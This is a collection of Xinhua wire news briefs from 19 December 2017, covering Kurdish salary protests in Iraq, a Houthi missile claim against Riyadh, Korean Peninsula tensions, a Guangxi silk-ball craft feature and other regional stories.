On Monday, President Erdogan lashed again at the EU, saying "only 900 million euros have been transferred for projects in Turkey."

"We do not know whether there will be permanent peace in Syria. And even if the war were to stop, we simply don't know if we can reconstruct our life's back again there," Mohammed said.

"I see that people of my age are willing to stay here, while our parents long for returning home because integration is even more difficult for them," the Syrian teenager added.
Source: Xinhua| 2017-12-19 20:31:20|Editor: Yurou

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SULAIMANIYAH, Iraq, Dec. 19 (Xinhua) -- Kurdish protestors continued their demonstrations Tuesday in Iraq's semi-autonomous region of Kurdistan amid widespread anger over unpaid salaries and corruption.

Hundreds of protestors took to the streets in at least six cities in the province of Sulaimaniyah in northeastern Iraq.

The protestors torched the local government building in the town of Kwaisanjaq on the provincial border with neighboring Erbil, the capital of the Kurdish region.

They also attacked and set fire to the offices of the Kurdish parties, including the major parties of Kurdish Democratic Party (KDP) and the Patriotic Union of Kurdistan (PUK), in several cities in Sulaimaniyah.

Protestors threw stones on many government buildings and parties' offices, prompting the security forces to use tear gas in an attempt to disperse the crowds.

There are no immediate reports about casualties among the protestors or the security forces.

Hundreds of Kurdish security forces were deployed in the provincial cities, while attempting to avoid clashes with protestors.

On Monday, Kurdish protesters set fire to offices of the regional Kurdish parties and some protestors stoned the security forces guarding the Kurdish offices, sparking clashes with the security forces who used tear gas to disperse the crowds, leaving some 30 people injured and suffocated.

The protests were sparked by frustration over unpaid salaries to teachers and other civil servants, in addition to the deterioration of basic services and widespread corruption.

The provinces of the Kurdistan region have been suffering from financial and economic hardships as a result of disagreement with the federal government in Baghdad over distribution of crude oil revenues extracted from the northern oilfields.

The financial hardship has increased after the Iraqi forces retook control of the oil-rich province of Kirkuk and some other oil wells in the disputed areas on Oct. 16.

Tensions have been running high between Baghdad and the region of Kurdistan after the Kurds held a controversial referendum on the independence of the Kurdistan region and the disputed areas on Sept. 25.

The independence of Kurdistan has been fiercely opposed by the Iraqi central government.
Source: Xinhua| 2017-12-19 20:31:20|Editor: Yurou

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DHAKA, Dec. 19 (Xinhua) -- A glamorous two-day Wedding Festival began in Bangladesh capital Dhaka on Tuesday bringing together dozens of wedding related brands under one roof.

From wedding ensemble to jewelry, the festival has something for everyone as designers and brands from all over the country flocked to showcase their artistry.

Throughout the event, visitors are enjoying fashion shows, live music, raffle draw and many other surprise attractions.

Visitors would also know about various wedding related ancient tradition starting from designer wedding wear to five star catering options.

This year, the theme is "wedding shopping at home."

The festival covers almost everything needed for arranging a ceremony including wedding dresses, wedding event management, invitation cards, photography, decoration, and honeymoon packages.

The festival presents Palkhi which was used in ancient Bengali culture to transport the bride to her husband's home.

Wedding decorations such as the turmeric paste and henna, cosmetics, sweets and other gifts are also on the display.

Visitors are being able to get expert opinions from renowned consultants on wedding planning, menu selection, venue options, photography, videography, wedding makeovers and on many other wedding related topics exclusively.

Leading Bangladeshi local newspaper Prothom Alo has organized the festival.

Kabir Bakul, a senior Prothom Alo official, said the main purpose of the festival is to introduce people traditional Bengali style wedding ceremonies.

"Bengali people have their very rich history of marriage celebrations. We just want people of today's generation know that wedding traditions," he said.

"I think the festival will help people to know how to hold wedding ceremonies maintaining all traditional cultures and rituals."

A Bengali wedding includes many rituals and ceremonies that can span several days.

Such rituals are usually followed by the turmeric ceremonies or gaye holud ("yellowing the body").
Source: Xinhua| 2017-12-19 20:31:20|Editor: Yurou

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Nguyen Phu Trong (5th R), leader of the Communist Party of Vietnam, holds talks with Bounnhang Vorachit (4th L), Lao president and leader of the Lao People's Revolutionary Party, in Hanoi, capital of Vietnam, Dec. 19, 2017. (Xinhua/VNA)

HANOI, Dec. 19 (Xinhua) -- Vietnam and Laos should strengthen coordination in implementing development strategies, party top leaders of the two countries said here on Tuesday.

General Secretary of the Communist Party of Vietnam Central Committee Nguyen Phu Trong and visiting General Secretary of the Lao People's Revolutionary Party Central Committee, also President of Laos Bounnhang Vorachith, made the statement during their talks in Hanoi.

The two sides will spare no efforts to deepen their political ties and increase experience-sharing in building the party as well as boosting socioeconomic development and international integration, Vietnam News Agency reported.

After the talks, the host and the guest witnessed the signing of an agreement between the Vietnamese and Lao governments on the construction of the Lao National Assembly building.

The Lao leader is paying an official visit to Vietnam from Tuesday to Thursday, the second of its kind during his tenure of 2016-2021.
Source: Xinhua| 2017-12-19 20:31:20|Editor: Yurou

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TRIPOLI, Dec. 19 (Xinhua) -- Libya on Tuesday announced a state of maximum security alert in the capital Tripoli, a security source said.

"All security agencies of the ministry of interior have been given instructions for full readiness to deal with any suspicious movements in and around Tripoli," the source told Xinhua on condition of anonymity.

The source did not reveal weather the security alert is related to the recent announcement of the eastern-based army to take over the city.

However, he said the security services in the city are "ready to deal with any armed movements against Tripoli, regardless of the party behind them."

The current security situation in the city is normal, the source added.

Milud Al-Zwai, spokesman for the eastern army's special forces, recently said movements toward the capital are confidential.

On Sunday, the army commander Gen. Khalifa Haftar said the UN-sponsored political agreement signed by the Libyan political rivals in the Moroccan city of Skhirat in 2015 is "expired."

"As of Dec. 17, 2017, the so-called political agreement expires. Therefore, all bodies resulted from this agreement automatically lost their legitimacy, which is questioned since day one," Haftar said in a televised speech.

Meanwhile, Ghassan Salame, head of the UN Support Mission in Libya, urged Libyan parties to "heed their voices and refrain from any actions that could undermine the political process."

Libya has been struggling to make a democratic transition following the 2011 uprising that toppled former leader Muammar Gaddafi's regime. The country is plagued with insecurity and chaos.
Greek President Prokopis Pavlopoulos addresses a group of unaccompanied refugees and migrants at a symbolic celebration at Greek parliament in Athens, Greece, on Dec. 18, 2017. (Xinhua/Marios Lolos)

ATHENS, Dec. 19 (Xinhua) -- Greece marked the International Migrants Day on Monday by welcoming a group of unaccompanied refugees and migrants at a symbolic celebration at Greek parliament here.

Young refugees and migrants living in two camps in the Greek capital were met by Greek President Prokopis Pavlopoulos and other Greek officials, as well as Greek children who sang Christmas carols.

"Until the war is over and you can go back home with safety, something that we must all work for together. Your country is Greece and your family is Greek society," Pavlopoulos said.

"Let us hope and work to reunite the families and to bring peace, development, safety and stability so that families can return where they wish to live," Parliamentary Speaker Nikos Voutsis added.

An overwhelming majority of Greeks have shown solidarity and hospitality to the over one million people who have landed in Greece since 2015 seeking refuge from war zones and poverty to Europe, he stressed.

More than 60,000 refugees and migrants have been stranded in Greece since the closure of the Balkan route to central Europe in the winter of 2016. Among them are about 3,000 unaccompanied children.
Source: Xinhua| 2017-12-19 20:41:22|Editor: Yurou

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CAIRO, Dec. 19 (Xinhua) -- An Egyptian court on Tuesday has sentenced 21 persons to death over charges of joining and forming Islamic State (IS)-linked terrorist group, official news agency MENA reported.

The defendants were convicted of leading and joining a group which adopted ideas that called for killing the leader and to change the regime by force as well as assaulting the police and army institutions.

The convicted were also charged of possessing bombs and explosive deceives for using it in terrorist operations that will jeopardize the public security and order, national unity and social peace.

The defendants admitted joining IS's calls of killing the leaders, security men and the Copt, as the judge read.

The court referred the sentence to Grand Mufti, the country's highest Islamic official who will give the religious judgment of all preliminary death sentences.

The Mufti's opinion is non-binding as it is usually considered a formality, but his final opinion could reduce the penalty.

Egypt has been experiencing anti-security attacks since the army-led ouster of the Islamist leader Mohamed Morsi in 2013.

North Sinai province is the main stronghold of the terrorist groups in Egypt, especially the IS-affiliate "Sinai State," which claimed reasonability for killing hundreds of police and army men.
Source: Xinhua| 2017-12-19 20:56:25|Editor: pengying

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by Xinhua writers Yuan Quan, Cao Yiming

NANNING, Dec. 19 (Xinhua) -- Telling a man, "I love you," is one way to show your affection, but for centuries women in Guangxi Zhuang Autonomous Region have preferred a more subtle gesture: the gifting of hand-embroidered balls of silk.

Guangxi locals, mainly from ethnic minorities, love crafts and folk songs, and their colorful silk love balls have long-been been a symbol of Guangxi culture, appearing in all manner of Chinese cultural events.

Jiuzhoujie is a small border town in Guangxi and the "home of the silk balls." Almost every home is involved in crafting these balls of love, and the town makes more than 300,000 of the romantic trinkets every year.

The local women can easily be seen sitting outside their homes dessed in ethnic costume, diligently embroidering and selling the balls to tourists.

Li Li, 40, is one of the many silk ball makers in the region. She learned the craft from her mother-in-law, and taught her three daughters. Li even has a shop, which displays the various silk balls in all their bright colors.

She says a silk ball usually takes 15 days to make, and "it can only be made by hand, not machine." You can see band aids on her fingers, needed after small cuts from the tough work.

The silk balls go back more than 2,000 years, but their beginings were not born of love. Far from it. They used to be made of bronze and were used as a lethal weapon in times of war. Only later did people begin to cover them in bright silk, even filling them with rice and grain.

They usually have 12 "petals," or cone shaped silk bags, which in ancient times were filled with red beans or grain before being embroidered with birds or flowers as a sign of good luck.

"[They symbolized that] people expected a double rice harvest and romance," says Li Fuqiang, a silk ball expert.

The grain has now been replaced by sawdust, making them lighter and easier to carry. Some even fill them with fragrant medicinal herbs, doubling their value.

The silk ball are not only a sign of cultural heritage, but are also a key to growing wealth. The cheapest go for 15 yuan, but more luxurious ones sell for over 200.

Li's orders mostly come from online shops across the country. On top of growing rice, she can earn an extra 3,000 yuan a year by making the bright silky balls.

For others, the balls are a matter of deep emotional attachment.

Huang Xiaoqin, 73, is the best craftswoman in the town. She learned embroidery as a teenager, and remembers the old dating custom, Throwing the Silk Ball.

Men and women would be divided into groups and sing impromptu songs. If the women saw someone liked, they would toss the balls for the men to catch. Men lucky (or unlucky) enough to catch a ball would throw them back tied with a small gift. If the woman accepted the gift, it meant she had agreed to date.

However when Huang got married in 1960s, people were not finding their lovers this way. The cultural revolution meant many belived "Old Culture" was something to be frowned upon. Huang, like most people, did not dare to embroider at this time.

But the silk balls have regained their popularity and helped boost tourism. Huang has begun teaching the younger generation.

Huang was nominated as a representative of the craft by Guangxi government in 1997. She has mastered a unique skill, "duixiu," which requires complicate stitching that can give the images on the ball a 3D look.

Making such a ball can take up to a month, and few of her students are interested in learning. They are just interested in making as many they can, in the shortest time, to make as much money as possible.

"I prefer the silk balls of 1980s. They had clever designs, exquisite craftsmanship and pretty images," says Wang Weiqun. "Today's silk balls look too ordinary. I can't see what's special about them."

The culture has changed too. Chinese lovers now prefer to show their romantic side with bold and ostentatious displays of wealth, showing their affection in public and spending money on luxury presents. Few have the patience for the implicit expression of love the balls once represented.

Despite being known as "the last master" of the craft, Huang still feels alone. But every year, on the third day of the third lunar month, the Zhuang people hold a large celebration, the Throwing Silk Balls tradition returns, and finding love the old-fashioned way once again comes alive.
Source: Xinhua| 2017-12-19 20:56:25|Editor: pengying

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DUBAI, Dec. 19 (Xinhua) -- Abu Dhabi International Airport (AUH) said it signed a deal with China's Beijing Capital International Airport (BCIA) on Tuesday to strengthen all-round cooperation between the two international aviation hubs.

The Memorandum of Understanding (MoU) was signed by Abdul Majeed Al Khoori, acting chief executive officer of Abu Dhabi Airports, and Liu Xuesong, chairman of BCIA, at BCIA's headquarters in Beijing.

The agreement sets the stage for mutually beneficial collaboration between the two airports through knowledge and experience sharing, AUH said in an e-mailed statement.

They will look to collaborate in areas such as staff training and management including terminal operations, airside management, route development and commercial management, it added.

The MoU also allows for cooperation on joint projects that will have positive returns on both entities such as hub development, airport planning, and service quality evaluation.

"This MoU will be the base for an ongoing strategic partnership and future collaboration between AUH and BCIA," said Al Khoori.

AUH is the base hub for the UAE's national carrier Etihad Airways, which offered the first direct flights from the UAE to Beijing in April 2008.
Source: Xinhua| 2017-12-19 21:26:35|Editor: Yurou

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LJUBLJANA, Dec. 19 (Xinhua) -- The overwhelmed national health care system in Slovenia is in urgent need of reform, as 126,000 or more Slovenian patients are without adequate health care, Slovenian daily newspaper, Delo, reported on Tuesday.

The shortage of general practitioners and pediatricians is becoming more and more acute. As doctors are overwhelmed with patients, the waiting lines are extremely long, the report said, quoting a survey.

Frequently, doctors reject new patients, directing them to more costly specialist care. As a result, patients are flocking to urgent-care clinics even for minor problems, a situation that is jeopardizing the quality of emergency care.

Over half of hospitals were reporting losses before they were bailed out by state.

Furthermore, in four Slovenian cities, there are a total of 126,000 patients who cannot find an available family doctor, according to the Delo reports. Patients without a physician, however, are not able to take sick leave from work, nor get certain medications.

Even though the health ministry made a commitment to recruit 1,281 family doctors and 408 pediatricians by 2018, it is now clear this goal won't be reached.

As a result, Slovene medical organizations and academia have urged the government to take immediate measures to recruit new doctors and ensure safe and high-quality health care for all Slovenian citizens.
Source: Xinhua| 2017-12-19 21:31:36|Editor: Yurou

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HO CHI MINH CITY, Dec. 19 (Xinhua) -- Senior officials from Cambodia, Laos and Vietnam agree on Tuesday to build an action plan to implement the socioeconomic development master plan of the triangle area till 2020.

At a meeting of the Cambodia-Laos-Vietnam Development Triangle Area in Vietnam's southern Binh Phuoc province, the delegates agreed to build and maintain the sustainable and comprehensive development triangle area as committed by the three countries' leaders in November 2016, Vietnam News Agency reported on Tuesday.

They emphasized the importance of strengthening cooperation in conducting research on the possibility of sustainable development, sharing experience in making climate change-related policies, and transferring technology and expertise in natural resources management and biodiversity preservation.

Vietnam proposed Cambodia and Laos support Vietnamese enterprises' projects in the countries and encourage their investors to come to Vietnam to seek investment opportunities in Binh Phuoc and central highlands provinces of Dak Nong, Dak Lak, Gia Lai and Kon Tum.
Source: Xinhua| 2017-12-19 21:36:37|Editor: pengying

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Myanmar Minister of Ethnic Affairs Nai Thet Lwin (1st R) talks with visiting Chinese Tibetan cultural exchange delegation in Nay Pyi Taw, Myanmar, Dec. 19, 2017. A Chinese Tibetan cultural exchange delegation exchanged views Tuesday with Myanmar ministers on ethnic nationalities and religious and cultural affairs. (Xinhua/U Aung)

NAY PYI TAW, Dec. 19 (Xinhua) -- A Chinese Tibetan cultural exchange delegation exchanged views Tuesday with Myanmar ministers on ethnic nationalities and religious and cultural affairs.

The Chinese delegation briefed the Myanmar side on China's policy on ethnic groups, Tibet Autonomous Region's religion and culture as well as China's measures in safeguarding cultural heritage.

Chinese ethnic groups are equal, united, helping each other and enjoying common development, said Zhang Yun, director of the Institute of History Studies of the China Tibetology Research Center. Tibet's development has been supported throughout China, especially after the reform and opening-up in 1978, he said.

Myanmar Minister of Ethnic Affairs Nai Thet Lwin, for his part, briefed the Chinese side on the country's policy related to protection of its ethnic groups' rights and interests.

He said the newly-established ministry will enhance the exchanges between ethnic groups, boost peaceful coexistence and consolidation to push forward the country's development, and protect the nationalities' rights, their languages, music and traditional culture.

Myanmar Union Minister of Religious Affairs and Culture Thura U Aung Ko said China and Myanmar have forged a deep Paukphaw (fraternal) friendship and the Belt and Road Initiative is important to Myanmar's economic development.

The Chinese delegation arrived in Yangon on Sunday and held the China Tibetan Culture Picture Exhibition at the Shwedagon Pagoda.

The delegation visited Myanmar's State Sangha Maha Nayaka (Senior Monks) Committee and the International Theravada Buddhist University on Monday.
Source: Xinhua| 2017-12-19 21:41:38|Editor: Yurou

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SANAA, Dec. 19 (Xinhua) -- Yemen's Houthi movement on Tuesday announced firing a ballistic missile towards a Kingdom's royal palace in the Saudi capital of Riyadh, Houthi-controlled state Saba news agency reported.

A senior military official at Houthi-controlled Defence Ministry told Xinhua that "the Rocket's Force fired the ballistic missile, Burkan H2, towards the kingdom's royal palace of Yamamah at the center of the Saudi capital of Riyadh at the same time there was an important meeting for the Saudi royal family."

The official, speaking on condition of anonymity, told Xinhua that "today's move came as a new military escalation in the war against the U.S.-backed Saudi-led military coalition."

"It is also an escalation to press the coalition to lift the all-out blockade imposed by the coalition forces on all Yemen's land, air and sea ports that pushed millions of Yemenis to the brink of famine," he said.

"The leader of dominant Houthi movement, Abdul Malik al-Houthi is expected to appear in the television within hours to announce a new phase of the military escalation in the war after nearly one thousand day since the Saudi-led coalition launched the war against Yemen," the official added.

This is the fourth long-range ballistic missile attack on neighboring Gulf states in a month.

On Dec. 3, the Houthi rebels said they fired a long-range winged cruise missile towards Barraka nuclear reactor in Abu Dhabi, the capital city of the United Arab Emirates, in a statement carried by Saba news agency.

UAE dismissed the Houthi attempt and said its anti-missile defence system did not record any attack on the country.

On Nov. 30, Saudi Arabia intercepted a ballistic missile fired from Yemen over the border Saudi city of Khamis Mushait.

On Nov. 4, Saudi air defences shot down a ballistic missile fired by Houthis in Yemen over the King Khaled International Airport north of Saudi capital Riyadh.

The Nov. 4 missile attack triggered an all-out blockade imposed by Saudi-led military coalition over all Yemeni air, sea and land ports, cutting off all aid, fuel and food imports.

The coalition earlier last month eased the siege, allowing only some aid access through northern Houthi-controlled ports, though the United Nations aid agencies warned that was not enough and pleaded for the coalition to allow food imports.

Last week, the United States revealed evidence that accused Iran of supplying ballistic missile technology to its ally Yemeni Houthi movement. Both Iran and Houthi movement denied the U.S. allegations.

Saudi Arabia led a military coalition of Arab forces backed by the United States that intervened in Yemen's conflict in March 2015 to back the government of exiled President Abd-Rabbu Mansour Hadi.

The coalition has launched thousands of airstrikes on the rebels, in attempts to roll back the rebel gains and reinstate Hadi to the capital Sanaa.

The war has killed over 10,000 Yemenis, mostly civilians, and pushed the country to the brink of mass famine.
Source: Xinhua| 2017-12-19 21:56:43|Editor: Yurou

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NAIROBI, Dec. 19 (Xinhua) -- Kenya will implement stringent regulations to curb road carnage that reached a peak this month, officials said on Tuesday.

James Macharia, Cabinet Secretary for Transport and Infrastructure, said the government will intensify policing at accident blackspots and crack down on errant motorists this festive season.

"We have mapped the blackspots in major highways especially the northern corridor from Mombasa to the Ugandan border with a view to put adequate measures and make them safer," said Macharia.

He spoke to reporters in Nairobi in the wake of a rising toll of road accidents in the country that have so far claimed 180 lives since the start of December.

Macharia decried the untimely loss of lives along the roads due to gross violation of traffic rules by private motorists and owners of public service vehicles.

"We have directed the National Transport and Safety Authority (NTSA) to crack down on public service vehicles who flout traffic rules. Soon, we are rolling out the smart driving license to help monitor behavior of drivers on our roads," Macharia told reporters.

Kenya is working on short and long-term plans to find solutions to road accidents that claim an estimated 3,000 people every year. The accidents usually peak around major holidays as people travel upcountry for celebrations.

Macharia said the government will invest in additional speed bumps, bridges and pedestrian paths along major highways to prevent fatal accidents.

"The medium to long-term measures that we are exploring in order to minimize road accidents include construction of dual carriage way, redesign of highways and establishment of points where drivers can check temperatures of brakes," said Macharia.
Source: Xinhua| 2017-12-19 22:01:45|Editor: Yurou

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PYONGYANG, Dec. 19 (Xinhua) -- Tensions on the Korean Peninsula have reached an unprecedented level in 2017 due to a nuclear test and multiple missile launches by the Democratic People's Republic of Korea (DPRK) and constant U.S.-South Korea joint military drills.

The crisis has also been worsened by the exchange of personal insults and confrontational rhetoric raising the specter of war between the United States and the DPRK.

Many describe the situation on the Korean Peninsula as the greatest threat to international peace and security and the international community remains concerned that any miscalculation or misunderstanding could lead to unexpected, even disastrous consequences.

DEFIANT DPRK

The DPRK conducted several missile tests this year, including three involving intercontinental ballistic missiles (ICBM) and an alleged H-bomb test in disregard of the various UN resolutions banning it from such activities.

Its actions have drawn worldwide condemnation and prompted the UN Security Council to impose even tougher sanctions.

The DPRK justifies its nuclear and missile programs as a sovereign right of self-defense against the threat of the United States, and has vowed to continue strengthening its nuclear and missile capabilities.

Pyongyang also threatens to launch a missile attack on the U.S. pacific island of Guam, which serves as the base of strategic bombers frequently visiting South Korea.

It also claimed the "Hwasong-15" ICBM it tested on Nov. 29 is "capable of striking the whole mainland of the United States."

U.S.-SOUTH KOREAN JOINT DRILLS

While the DPRK is going further in its pursuit of nuclear capabilities, the United States and South Korea have upped the ante by holding frequent large-scale joint military drills in South Korea and waters near the peninsula.

With tens of thousands of troops in South Korea, the United States has sent three aircraft carrier groups, B-1B strategic bombers, stealth fighters, nuclear submarines and other strategic assets to the peninsula for war games. It also carried out a number of ICBM tests simulating strikes against the DPRK.

The military maneuvers were accompanied by dangerous rhetoric by U.S. President Donald Trump, who threatened to "totally destroy" the DPRK if it continued to pose a threat to America.

Washington has so far refused to hold talks with Pyongyang, demanding that the latter halt its nuclear and missile programs first.

INTERNATIONAL CALL FOR PEACEFUL SOLUTION

UN Secretary General Antonio Guterres said earlier this month that any military action on the Korean Peninsula would have "devastating and unpredictable consequences."

His remarks were echoed by Swedish Foreign Minister Margot Wallstrom, who noted that the international community has to "exhaust every avenue for diplomacy and dialogue."

UN Under Secretary General for Political Affairs Jeffrey Feltman visited the DPRK in December and said after the visit that it is important to "open or re-open technical channels of communication such as military-to-military hotline to reduce risk and signal intention to prevent misunderstanding and manage any crisis."

Meanwhile, South Korea has also expressed willingness to seek a peaceful solution to the crisis, rejecting any military option. In a conciliatory gesture, it invited the DPRK to take part in the 2018 Winter Olympics in the South Korean city of Pyeongchang.

China, which shares a land border with the DPRK, has made it clear it wants a nuclear-free, peaceful Korean Peninsula, and has been strenuously working toward that end, including proposing a political solution based on a suspension-for-suspension proposal and a dual-track approach.

The suspension-for-suspension initiative calls for the DPRK to suspend its nuclear and missile activities and for the United States and South Korea to suspend their large-scale war games. The dual-track approach involves parallel efforts to move forward both denuclearization and the establishment of a peace mechanism on the Korea Peninsula.

The Chinese proposal has won extensive support from the international community, which in recent months adamantly called for a peaceful solution to the Korean Peninsula nuclear issue.
Source: Xinhua| 2017-12-19 22:01:46|Editor: Yurou

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KUWAIT CITY, Dec. 19 (Xinhua) -- Kuwait said on Tuesday that it will highlight the Palestinian cause during its tenure as a non-permanent member of United Nations Security Council (UNSC).

The remarks were made by Sheikh Sabah Khaled Al-Hamad Al-Sabah, Kuwaiti deputy prime minister and minister of Foreign Affairs, during his participation at the regular session of the Kuwaiti National Assembly.

The U.S. decision to recognize Jerusalem as the capital of Israel and move its embassy to the holy city will be strongly protested, he said.

The decision violates several UNSC resolutions on Palestine as well as international laws and norms, Sheikh Sabah added.

"The decision, if implemented, will crush all hopes for peace in the Middle East and it will be a direct slap toward the Arab peace initiative," he said.

With regards to the U.S. veto of a UNSC resolution condemning its Jerusalem decision late Monday, the minister said the resolution was a clear indication of the world's disapproval of the decision and he hoped the U.S. would reconsider the situation and back down from this unjust policy.

The United States on Monday vetoed a UNSC draft resolution on the status of Jerusalem.

On June 2, the UN General Assembly elected Cote d'Ivoire, Equatorial Guinea, Kuwait, Poland and Peru as non-permanent members of the UN Security Council to serve a two-year term starting Jan. 1, 2018.
Source: Xinhua| 2017-12-19 22:01:47|Editor: Yurou

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JAKARTA, Dec. 19 (Xinhua) -- Indonesia's Batam will make a landmark cultural festival held to observe the 188th anniversary of the territory an international annual event to attract more foreign tourists the Indonesian island near Singapore, an official said.

Citing great enthusiasm throughout the festival, head of Batam Business Administration Agency Lukita said the festival has the potential to attract at least 5,000 people.

"We hope the cultural festival would become a stimulant for influx of more foreign tourists coming to Batam, giving multiplier effect for the economy and tourism in Batam," Lukita said.

The cultural festival festival held in Batam's main road of Imam Bonjol over the weekend showcased Indonesian arts and cultural performances.

The event also featured traditional costumes which were displayed by over a hundred of cosplayers, world international pageant candidates and musical festivals that mixed modern and traditional genres.

Deputy Minister for Domestic Tourism Development at the Tourism Ministry Esthy Reko Astuti supported the idea to make the festival as an annual event, saying that it would help attract more international holiday-makers to the resort island.
Source: Xinhua| 2017-12-19 22:06:48|Editor: Yurou

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LONDON, Dec. 19 (Xinhua) -- Four men were arrested for suspected terrorism offences in Yorkshire and neighboring Derbyshire early on Tuesday, and an army bomb disposal unit raced to an address in Chesterfield as police raided five properties.

Police said the immediate area surrounding the Chesterfield address had been cordoned off and local residents evacuated while a thorough search was carried out.

Local media reported residents saying their homes were shaken by a series of loud bangs.

Resident Carol Perry, who lives two doors away from one of the targeted houses, said: "I was asleep and then I was woken suddenly by an enormous bang and the house shook. My immediate thought was that it was an earthquake."

A spokesman for North East England Counter Terrorism Unit said: "The public may have heard loud bangs at the time police entered the properties. We would like to reassurance them that this was part of the method of entry to gain access. Residents will be kept as informed as possible."

Police said a 22-year-old man and two others aged 36 and 41, were arrested at their homes in the city of Sheffield on suspicion of being involved in acts of terrorism.

The fourth man, 31, was arrested on suspicion of a similar offence at his home in Chesterfield. The men were taken to a police station in West Yorkshire for questioning.

The terrorism unit spokesman said the arrests were led by intelligence and pre-planned as part of an ongoing investigation by counter terrorism police and Britain's intelligence service MI5.

Police initially began searching three properties in Sheffield and one in Chesterfield in connection with the arrests. Later, police said an additional address was searched in the Stocksbridge area of Sheffield.

Addressing the public, Derbyshire Constabulary assistant chief Constable Bill McWilliam said: "Please be reassured; the arrest we wanted to make has been made. Our advice remains to be vigilant, which is not different to our day-to-day advice in the current climate, but continue to go about your business as usual. We will be working closely with colleagues at the North East Counter Terrorism Unit as this investigation progresses."
Source: Xinhua| 2017-12-19 22:16:50|Editor: Yurou

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CAPE TOWN, Dec. 19 (Xinhua) -- The South African Communist Party (SACP) on Tuesday reaffirmed the strategic importance of the tripartite alliance despite challenges facing the alliance.

"Organizational renewal and the strategic reconfiguration of the alliance are imperative, if we are to collectively achieve our historical mission of carrying forward a second radical phase of the national democratic revolution," the SACP said.

Since coming to power in 1994, the ANC has formed a tripartite alliance with the SACP and the Congress of South African Trade Unions (COSATU).

There have been cracks in the alliance recently after both the SACP and COSATU criticized the ANC for poor leadership that has led to a series of problems, particularly rampant corruption.

There were rumors that the alliance is on the brink of collapse after the SACP threatened to contest the 2019 general elections on its own. The two parties have partnered in wooing votes in past elections.

"It is no secret that over the recent period, the effectiveness of the alliance has declined and the ability of the ANC to provide unifying and strategic leadership to our alliance has diminished," the SACP said.

The SACP statement came after the election of Deputy President Cyril Ramaphosa as the ANC's new president at its 54th National Congress on Monday.

The ANC conference, which opened on Dec. 16 and will last through Dec. 20, has the potential to impact on the future viability of the alliance, said SACP national spokesperson Alex Mashilo.

The SACP urges ANC delegates to agree on policies and a leadership collective that will move the ANC out of the current trend of decline, Mashilo said.

He stressed the importance of the ANC's support for the criminal prosecution of those involved in corruption and other forms of malfeasance in the state, without fear or favor.
Source: Xinhua| 2017-12-19 22:16:50|Editor: pengying

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BEIJING, Dec. 19 (Xinhua) -- Chinese Foreign Minister Wang Yi on Tuesday held a telephone conversation with his Russian counterpart, Sergei Lavrov, to discuss bilateral relations and tensions on the Korean Peninsula.

The two foreign ministers agreed that their countries have enjoyed a strong relationship, achieving positive results in the past year.

The two sides exchanged views on international issues of common concern, including the current situation on the Korean Peninsula. The foreign ministers agreed to continue to maintain strategic communications with each other regarding major issues.
Source: Xinhua| 2017-12-19 22:26:53|Editor: Yurou

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MANILA, Dec. 19 (Xinhua) -- The Philippines has decided to withdraw its application for a second round of grants from a U.S. aid-giving body, Millennium Challenge Corporation (MCC), after MCC suspended aid packages to the Philippines over human rights concerns last December.

Presidential Spokesperson Harry Roque told a press conference on Tuesday that the Duterte administration needs to focus on rehabilitation efforts in southern Marawi City.

"By way of final announcement, we have opted to withdraw from the second millenium challenge," Roque said. "The decision to withdraw was because of the urgent priority of the administration to rebuild Marawi," he added.

The first compact of grants to the Philippines from the MCC, worth 434 million U.S. dollars, was approved in 2010 and expired in 2016. The aid supported national road development project, community development project and other programs in the Philippines.

Last December, MCC refused to renew the aid packages to the Philippines over "significant concerns around rule of law and civil liberties in the Philippines," referring to the alleged "extrajudicial killings" in the "drug war" that Philippine President Rodrigo Duterte started since he took office last year.

However, Roque denied that the Philippines' withdrawal this time has anything to do with U.S. criticism on the current campaign against illegal drugs.

"It was really just that Marawi happened. We did not expect it and it's going to be a very costly rebuilding," he said.

Marawi, a city on Mindanao island, was ruined by a five-month battle between the government troops and terrorists from Maute group and Abu Sayyaf, who laid siege to the city in May. The Philippine military declared an end to the armed conflict on Oct. 23.

Roque said the Philippines still welcome the help from the United States. "We have invited the U.S. government's continued support and assistance for the reconstruction of Marawi," he said.
Source: Xinhua| 2017-12-19 22:26:54|Editor: Mengjie

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MOSCOW, Dec. 19 (Xinhua) -- Terrorists from the Middle East are attempting to penetrate countries of the former Soviet Union after defeats in Syria and Iraq, said the head of a national security body in Russia on Tuesday.

"The main center of their concentration is Afghanistan," said Alexander Bortnikov, Director of the Russian Federal Security Service, at a meeting of the Council of the Heads of Security Bodies and Special Services of the Commonwealth of Independent States (CIS).

Bortnikov said terrorists, including citizens of Russia, Central Asia, Europe and North Africa, are moving from Afghanistan to countries of the former Soviet Union via Central Asia.

He said terrorists with forged documents or disguised as refugees, labor migrants and tourists are trying to penetrate Russia and other CIS countries using the visa-free regime or other simplified mechanisms for crossing Central Asian borders.

According to information received by security agencies, about 20,000 citizens of the CIS countries are suspected of involvement in terrorist and religious extremist organizations, he said.

So far, 11 channels of terrorists transferring from the war zone in Syria to CIS countries have been identified and blocked, Bortnikov said.

He said terrorists are changing their tactics to "autonomous jihad", individually targeting civilians, law enforcement officers and urban and social infrastructure.

Bortnikov said a number of terrorist acts, including attacks on diplomatic missions, have been prevented in Russia and Central Asia.

About 300 people suspected of involving in terrorist activities have been transferred by the Russian security authorities to CIS partners, he said.
Source: Xinhua| 2017-12-19 22:26:54|Editor: Yang Yi

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Yu Zhengsheng (R), chairman of the National Committee of the Chinese People's Political Consultative Conference (CPPCC), meets with Hakim Benchamach, speaker of Morocco's House of Advisors, in Beijing, capital of China, Dec. 19, 2017. (Xinhua/Yan Yan)

BEIJING, Dec. 19 (Xinhua) -- China's top political advisor Yu Zhengsheng held talks with Hakim Benchamach, speaker of Morocco's House of Advisors, the upper house of the Moroccan parliament, on Tuesday.

Noting Morocco was among the first African and Arab countries to establish diplomatic relations with China, Yu said the two countries have been trustworthy friends and partners, respected and treated each other on an equal footing.

The two heads of state agreed to upgrade bilateral relations to strategic partnership last year, heralding a new phase for bilateral ties, said Yu, chairman of the National Committee of the Chinese People's Political Consultative Conference (CPPCC).

To implement the consensus reached between the two heads of state, Yu proposed both countries deepen political mutual trust, tap the potential for practical cooperation, enrich cultural exchanges and work to protect world peace and stability.

Yu said the 19th National Congress of the Communist Party of China will bring new opportunities not only to China's future development but also to the growth of bilateral strategic partnership.

"The CPPCC National Committee looks forward to strengthening exchanges with Morocco's House of Advisors to share experiences in national governance and political participation," said Yu.

Congratulating the success of the 19th CPC National Congress, Benchamach said Morocco prioritizes its relations with China and is satisfied with bilateral cooperation in various areas.

